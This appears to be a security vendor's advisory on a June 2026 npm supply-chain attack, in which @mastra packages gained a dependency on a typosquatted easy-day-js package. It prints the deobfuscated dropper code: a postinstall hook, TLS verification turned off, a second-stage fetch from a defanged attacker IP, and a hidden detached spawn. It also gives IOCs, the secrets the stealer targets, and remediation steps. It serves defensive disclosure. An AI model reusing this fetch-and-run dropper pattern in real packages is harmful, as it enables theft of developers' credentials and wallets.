Table of contents

Mastra npm Scope Takeover: 140+ Packages Compromised via easy-day-js Dropper

Mastra npm Scope Takeover: 140+ Packages Compromised via easy-day-js Dropper - @Mastra

An attacker republished more than 140 packages in the @mastra npm scope, each carrying a single malicious dependency, easy-day-js. The malicious versions were observed on 2026-06-17. easy-day-js is a typosquat of the dayjs date library: version 1.11.21 is the clean prior release with no install hook, while version 1.11.22 adds an obfuscated postinstall dropper. Installing any affected @mastra package resolves and runs that dropper, which downloads a second-stage stealer that harvests environment secrets and cryptocurrency wallets. The affected packages are heavily used: Mend records over 20 million downloads for @mastra/core and over 19 million for @mastra/schema-compat, so any project that auto-updates these packages is in scope.

Background

Mastra is a widely adopted TypeScript framework for building AI agents and applications. The @mastra scope spans well over a hundred packages, including the mastra and create-mastra entry points, @mastra/core, database and vector connectors, auth integrations, deployers, and provider SDKs. Developers working with this framework typically hold exactly the secrets an attacker wants, including cloud keys, LLM provider keys, database credentials, and source-control tokens.

That concentration of value is what makes a scope takeover here so severe. The attacker did not need to write convincing malicious application code inside each package. They needed only publish access to the scope and one malicious dependency to fan the payload out across the scope in a single wave.

Technical analysis

The attack vector: A hijacked scope and one injected dependency

The payload reaches the machine through ordinary dependency resolution, not through any exploit. The attacker obtained publish access to the @mastra scope and republished it. Each compromised release differs from its clean predecessor by a single functional change: one added dependency. No application source in the @mastra packages is modified.

"dependencies": {
+   "easy-day-js": "^1.11.21",
    ...
  },
- "version": "1.42.0"
+ "version": "1.42.1"

Figure 1: The only functional change in each compromised @mastra package is the injected easy-day-js dependency and a version bump. Because the malicious code lives in the dependency, the carrier packages look clean to per-package scanning.

The caret range ^1.11.21 is what arms the trap. npm resolves a caret range to the newest matching version at install time, which is the malicious 1.11.22. Because the @mastra packages declare the dependency as ^1.11.21, a fresh install of any of them pulls 1.11.22 even though 1.11.21 itself is clean.

Stage 1: The postinstall hook

easy-day-js@1.11.22 adds one lifecycle script to package.json.

"scripts": {
  "postinstall": "node setup.cjs --no-warnings"
}

Figure 2: The postinstall hook fires automatically at install time. The --no-warnings flag suppresses Node runtime warnings so nothing unusual appears in install output.

The postinstall script runs whenever the package is installed, with no user interaction, and executes setup.cjs, the dropper.

Stage 2: The setup.cjs dropper and its obfuscation

setup.cjs is obfuscated with javascript-obfuscator. It uses a rotated 40-entry string array (a left rotation of 34 positions, validated against an arithmetic checksum of 0x4c11d), a custom-alphabet base64 decoder, and an XOR-encoded byte array that reconstructs the marker string easy-day-js. Once decoded, the dropper performs a short, deliberate sequence. 

First, it disables TLS certificate verification for the whole process, so the command-and-control server’s invalid certificate is accepted:

process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';

Figure 3: The dropper disables TLS verification process-wide. This setting is inherited by any child process it launches.

It then fetches the second stage over HTTPS and writes it to a randomly named file in the OS temp directory. The 49890878 path segment is the campaign identifier:

const payload = await (await fetch('hxxps://23[.]254[.]164[.]92:8000/update/49890878', { method: 'GET' })).text();
const tmpPath = path.join(os.tmpdir(), crypto.randomBytes(0xc).toString('hex') + '.js');
fs.writeFileSync(tmpPath, payload, 'utf8');

Figure 4: The dropper retrieves the second stage from the stage-one server and stages it as a 24-hex-character .js file. 

Finally, it launches the second stage with Node as a detached, hidden background process, passing the second-stage C2 address as a command-line argument, then returns control to the installer:

child_process.spawn(process.execPath, [tmpPath, '23[.]254[.]164[.]123:443'], {
  cwd: os.tmpdir(), detached: true, stdio: 'ignore', windowsHide: true
}).unref();

Figure 5: The second stage runs detached and hidden, so the install completes immediately while the malware keeps running. The windowsHide option indicates the payload is built to run on Windows as well as macOS and Linux. 

The dropper also writes two markers into the temp directory before fetching: .pkg_history, containing the package install path, and .pkg_logs, containing easy-day-js stored as an XOR-0x80 byte sequence to avoid a plaintext name on disk. After spawning the second stage, it deletes setup.cjs from disk to remove the most obvious forensic artifact.

Attack flow

npm install @mastra/<pkg>          (caret resolves easy-day-js ^1.11.21 -> 1.11.22)
        |
        v
postinstall: node setup.cjs        (Stage 1 hook)
        |
        v
setup.cjs (Stage 2 dropper)
   - NODE_TLS_REJECT_UNAUTHORIZED=0
   - write .pkg_history / .pkg_logs markers
   - GET stage-2 from 23[.]254[.]164[.]92:8000/update/49890878
   - write <tmpdir>/<24-hex>.js
   - spawn node <payload> 23[.]254[.]164[.]123:443  (detached, hidden)
   - self-delete setup.cjs
        |
        v
Downloaded payload  -->  beacon to 23[.]254[.]164[.]123:443
   - harvest environment secrets and wallets
   - install OS persistence

Figure 6: End-to-end execution chain from npm install to second-stage command-and-control.

Stage 3: The second stage

The dropper retrieves the second stage at install time rather than embedding it in the published package, so its behavior is governed by attacker-controlled infrastructure and can be changed at any time. Its execution profile is still clear from the dropper itself: a Node.js script, staged in the OS temp directory and run with the installer’s own Node binary, detached and hidden so it continues running after installation completes. It inherits the disabled-TLS setting and communicates with its command-and-control endpoint (23[.]254[.]164[.]123:443) without certificate validation.

Functionally, the second stage operates as a remote-access tool. It harvests sensitive credentials and cryptocurrency-wallet data from the host and exfiltrates them to the C2, which can issue follow-up commands. Stolen credentials grant the attacker whatever access the victim’s keys held. The specific environment variables and wallet extensions it targets are listed in the Indicators of Compromise.

Stage 4: Persistence and durability

Two properties make the compromise durable. First, the second stage is delivered at runtime rather than embedded in the published package, so the operator can update or replace it remotely. Second, its detached, hidden launch and the windowsHide flag show it is built to run unattended across platforms, Windows included. Host-level persistence artifacts associated with the campaign, spanning macOS, Linux, and Windows, are listed in the Indicators of Compromise. Any machine that installed an affected package should be treated as fully compromised.

Indicators of compromise

Network IOCs

IndicatorValueDescription
Stage-one URLhxxps://23[.]254[.]164[.]92:8000/update/49890878Second-stage payload fetch endpoint
Stage-one C223[.]254[.]164[.]92Hosts the second-stage download
Stage-two C223[.]254[.]164[.]123:443Receives beacons and exfiltrated data
Campaign ID49890878Path segment in the stage-one fetch URL

Filesystem IOCs

IndicatorValueDescription
Install marker<tmpdir>/.pkg_historyContains the package install path
Name marker<tmpdir>/.pkg_logseasy-day-js stored XOR-0x80
Staged payload<tmpdir>/^[0-9a-f]{24}\.js$Second-stage file dropped before execution
Runtime flagNODE_TLS_REJECT_UNAUTHORIZED=0TLS verification disabled at runtime
Persistence (macOS)~/Library/LaunchAgents/com.nvm.protocal.plist, ~/Library/NodePackages/protocal.cjsReboot persistence
Persistence (Linux)~/.config/systemd/user/nvmconf.service, ~/.config/NodePackagesReboot persistence
Persistence (Windows)C:\ProgramData\NodePackagesReboot persistence

Targeted data

IndicatorValueDescription
Targeted environment variablesOPENAI_API_KEY, ANTHROPIC_API_KEY, GOOGLE_API_KEY, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AZURE_TENANT_ID, GITHUB_TOKEN, NPM_TOKEN, database connection stringsSecrets the second stage harvests from the environment
Targeted wallet extensionsMetaMask, Phantom, Solflare, Coinbase Wallet, OKX, KeplrBrowser wallet extensions scanned in Chrome, Brave, and Edge

Package / Git IOCs

IndicatorValueDescription
Malicious packageeasy-day-js@1.11.22postinstall dropper
Bait packageeasy-day-js@1.11.21Clean prior version named by the injected dependency
Injected dependency"easy-day-js": "^1.11.21"Marker present in every compromised @mastra release
1.11.22 tarball SHA2564a8860240e4231c3a74c81949be655a28e096a7d72f38fbe84e5b37636b98417Malicious tarball
1.11.21 tarball SHA256ae70dd4f6bc0d1c8c2848e4e6b51934626c4818dcb5af99d080ddbd7dc337185Bait tarball

Detection and remediation

  1. Remove persistence artifacts first, before rotating tokens. Check for and delete the macOS LaunchAgent, the Linux systemd user service, and the Windows C:\ProgramData\NodePackages payload listed in the Filesystem IOCs.
  2. Block the C2 infrastructure at the DNS and HTTPS proxy layers: 23[.]254[.]164[.]92 and 23[.]254[.]164[.]123.
  3. Identify exposure. Audit lockfiles, dependency trees, and install logs for any resolved easy-day-js and for @mastra/* versions carrying the injected dependency.
  4. Rotate every credential reachable from any machine or CI runner that installed an affected package: cloud keys, LLM provider keys, database credentials, and npm and GitHub tokens.
  5. Search for host artifacts, including <tmpdir>/.pkg_history, <tmpdir>/.pkg_logs, and randomly named 24-hex .js files in the temp directory.
  6. Pin versions and install with --ignore-scripts as a durable defense. This campaign abused a caret range on a freshly published transitive dependency, and disabling lifecycle scripts blocks the postinstall execution path entirely.

Mend.io coverage

Mend.io has issued 2 MSC advisories covering all affected packages:

  • MSC-2026-6172
  • MSC-2026-6173

Conclusion

This campaign shows how publish access to a single trusted scope can convert more than 140 packages into a malware delivery network. The separation of dropper and carrier, with the payload isolated in one typosquatted dependency and the @mastra packages simply pointing at it, is what let the attack reach machines holding high-value cloud, AI, and source-control secrets while the carrier packages still looked clean. Mend.io will continue monitoring the @mastra scope and the broader npm ecosystem for follow-on waves and related typosquat droppers.

Manage open source risk

Recent resources

Mastra npm Scope Takeover: 140+ Packages Compromised via easy-day-js Dropper - Shai Hulud Miasma

Miasma: Red Hat Cloud Services npm Packages Hit by a Mini Shai-Hulud-Style Campaign

npm packages in @redhat-cloud-services drop a multi-stage cloud credential stealer.

Read more
Mastra npm Scope Takeover: 140+ Packages Compromised via easy-day-js Dropper - Blog Cover Threat news

Laravel-Lang Composer tag-rewrite Supply Chain Attack

Four Laravel-Lang Composer packages were poisoned via tag rewrite.

Read more
Mastra npm Scope Takeover: 140+ Packages Compromised via easy-day-js Dropper - Mini Shai Hulud is Back 1

Mini Shai-Hulud Hits @antv: 323 npm Packages Compromised Through the atool Maintainer Account

Mini Shai-Hulud strikes again: 323 npm packages compromised via @antv's atool.

Read more